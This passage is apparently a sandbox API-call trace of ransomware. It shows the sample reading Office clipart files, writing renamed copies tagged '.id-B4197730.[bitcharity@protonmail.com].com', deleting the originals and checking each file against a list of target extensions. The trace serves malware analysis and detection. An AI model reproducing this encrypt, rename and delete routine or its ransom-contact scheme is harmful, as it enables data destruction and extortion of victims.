files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0150.782] GetLastError () returned 0x0 [0150.782] ReadFile (in: hFile=0x1078, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x385c, lpOverlapped=0x0) returned 1 [0150.812] WriteFile (in: hFile=0x10e0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x3860, lpOverlapped=0x0) returned 1 [0150.814] ReadFile (in: hFile=0x1078, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.814] WriteFile (in: hFile=0x10e0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.814] SetEndOfFile (hFile=0x10e0) returned 1 [0150.814] CloseHandle (hObject=0x10e0) returned 1 [0150.818] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.818] SetEndOfFile (hFile=0x1078) returned 1 [0150.819] CloseHandle (hObject=0x1078) returned 1 [0150.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0150.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.820] lstrlenW (lpString=".doc") returned 4 [0150.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.820] lstrlenW (lpString=".docx") returned 5 [0150.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.820] lstrlenW (lpString=".pdf") returned 4 [0150.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.820] lstrlenW (lpString=".xls") returned 4 [0150.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.820] lstrlenW (lpString=".xlsx") returned 5 [0150.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.820] lstrlenW (lpString=".ppt") returned 4 [0150.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.821] lstrlenW (lpString=".zip") returned 4 [0150.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.821] lstrlenW (lpString=".rar") returned 4 [0150.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.821] lstrlenW (lpString=".bz2") returned 4 [0150.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.821] lstrlenW (lpString=".7z") returned 3 [0150.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.821] lstrlenW (lpString=".dbf") returned 4 [0150.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.821] lstrlenW (lpString=".1cd") returned 4 [0150.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.821] lstrlenW (lpString=".jpg") returned 4 [0150.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.821] lstrlenW (lpString=".doc") returned 4 [0150.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.821] lstrlenW (lpString=".docx") returned 5 [0150.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.822] lstrlenW (lpString=".pdf") returned 4 [0150.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.822] lstrlenW (lpString=".xls") returned 4 [0150.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.822] lstrlenW (lpString=".xlsx") returned 5 [0150.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.822] lstrlenW (lpString=".ppt") returned 4 [0150.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.822] lstrlenW (lpString=".zip") returned 4 [0150.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.822] lstrlenW (lpString=".rar") returned 4 [0150.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.822] lstrlenW (lpString=".bz2") returned 4 [0150.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.822] lstrlenW (lpString=".7z") returned 3 [0150.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.822] lstrlenW (lpString=".dbf") returned 4 [0150.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.822] lstrlenW (lpString=".1cd") returned 4 [0150.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0150.822] lstrlenW (lpString=".jpg") returned 4 [0150.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.823] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0150.823] lstrlenW (lpString="AN01044_.WMF") returned 12 [0150.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0151.318] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=1596) returned 1 [0151.319] CloseHandle (hObject=0x10ec) returned 1 [0151.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0151.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0151.319] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.319] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0151.320] GetLastError () returned 0x0 [0151.320] ReadFile (in: hFile=0x10ec, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x63c, lpOverlapped=0x0) returned 1 [0151.344] WriteFile (in: hFile=0x10c0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x640, lpOverlapped=0x0) returned 1 [0151.345] ReadFile (in: hFile=0x10ec, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.345] WriteFile (in: hFile=0x10c0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.345] SetEndOfFile (hFile=0x10c0) returned 1 [0151.345] CloseHandle (hObject=0x10c0) returned 1 [0151.346] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.346] SetEndOfFile (hFile=0x10ec) returned 1 [0151.347] CloseHandle (hObject=0x10ec) returned 1 [0151.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0151.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.347] lstrlenW (lpString=".doc") returned 4 [0151.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.347] lstrlenW (lpString=".docx") returned 5 [0151.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.348] lstrlenW (lpString=".pdf") returned 4 [0151.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString=".xls") returned 4 [0151.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.348] lstrlenW (lpString=".xlsx") returned 5 [0151.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.348] lstrlenW (lpString=".ppt") returned 4 [0151.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.348] lstrlenW (lpString=".zip") returned 4 [0151.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.348] lstrlenW (lpString=".rar") returned 4 [0151.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString=".bz2") returned 4 [0151.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString=".7z") returned 3 [0151.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.348] lstrlenW (lpString=".dbf") returned 4 [0151.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.348] lstrlenW (lpString=".1cd") returned 4 [0151.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.348] lstrlenW (lpString=".jpg") returned 4 [0151.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.348] lstrlenW (lpString=".doc") returned 4 [0151.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.348] lstrlenW (lpString=".docx") returned 5 [0151.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.348] lstrlenW (lpString=".pdf") returned 4 [0151.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString=".xls") returned 4 [0151.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.349] lstrlenW (lpString=".xlsx") returned 5 [0151.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.349] lstrlenW (lpString=".ppt") returned 4 [0151.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.349] lstrlenW (lpString=".zip") returned 4 [0151.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.349] lstrlenW (lpString=".rar") returned 4 [0151.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString=".bz2") returned 4 [0151.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString=".7z") returned 3 [0151.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.349] lstrlenW (lpString=".dbf") returned 4 [0151.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.349] lstrlenW (lpString=".1cd") returned 4 [0151.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0151.349] lstrlenW (lpString=".jpg") returned 4 [0151.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.349] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.349] lstrlenW (lpString="AN01184_.WMF") returned 12 [0151.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0151.350] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=3746) returned 1 [0151.350] CloseHandle (hObject=0x10ec) returned 1 [0151.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0151.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0151.350] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.350] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0151.350] GetLastError () returned 0x0 [0151.351] ReadFile (in: hFile=0x10ec, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xea2, lpOverlapped=0x0) returned 1 [0151.376] WriteFile (in: hFile=0x10c0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0151.376] ReadFile (in: hFile=0x10ec, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.376] WriteFile (in: hFile=0x10c0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.377] SetEndOfFile (hFile=0x10c0) returned 1 [0151.377] CloseHandle (hObject=0x10c0) returned 1 [0151.377] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.377] SetEndOfFile (hFile=0x10ec) returned 1 [0151.378] CloseHandle (hObject=0x10ec) returned 1 [0151.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0151.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.379] lstrlenW (lpString=".doc") returned 4 [0151.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.379] lstrlenW (lpString=".docx") returned 5 [0151.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.379] lstrlenW (lpString=".pdf") returned 4 [0151.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.379] lstrlenW (lpString=".xls") returned 4 [0151.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.379] lstrlenW (lpString=".xlsx") returned 5 [0151.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.379] lstrlenW (lpString=".ppt") returned 4 [0151.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.379] lstrlenW (lpString=".zip") returned 4 [0151.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.379] lstrlenW (lpString=".rar") returned 4 [0151.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString=".bz2") returned 4 [0151.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString=".7z") returned 3 [0151.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.380] lstrlenW (lpString=".dbf") returned 4 [0151.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.380] lstrlenW (lpString=".1cd") returned 4 [0151.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.380] lstrlenW (lpString=".jpg") returned 4 [0151.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.380] lstrlenW (lpString=".doc") returned 4 [0151.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString=".docx") returned 5 [0151.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.380] lstrlenW (lpString=".pdf") returned 4 [0151.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString=".xls") returned 4 [0151.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.380] lstrlenW (lpString=".xlsx") returned 5 [0151.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.380] lstrlenW (lpString=".ppt") returned 4 [0151.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.380] lstrlenW (lpString=".zip") returned 4 [0151.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.381] lstrlenW (lpString=".rar") returned 4 [0151.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.381] lstrlenW (lpString=".bz2") returned 4 [0151.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.381] lstrlenW (lpString=".7z") returned 3 [0151.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.381] lstrlenW (lpString=".dbf") returned 4 [0151.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.381] lstrlenW (lpString=".1cd") returned 4 [0151.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0151.381] lstrlenW (lpString=".jpg") returned 4 [0151.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.381] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.381] lstrlenW (lpString="AN01545_.WMF") returned 12 [0151.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0151.382] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=7372) returned 1 [0151.382] CloseHandle (hObject=0x10ec) returned 1 [0151.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0151.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0151.382] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.382] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0151.382] GetLastError () returned 0x0 [0151.382] ReadFile (in: hFile=0x10ec, lpBuffer=0x3f0a020, 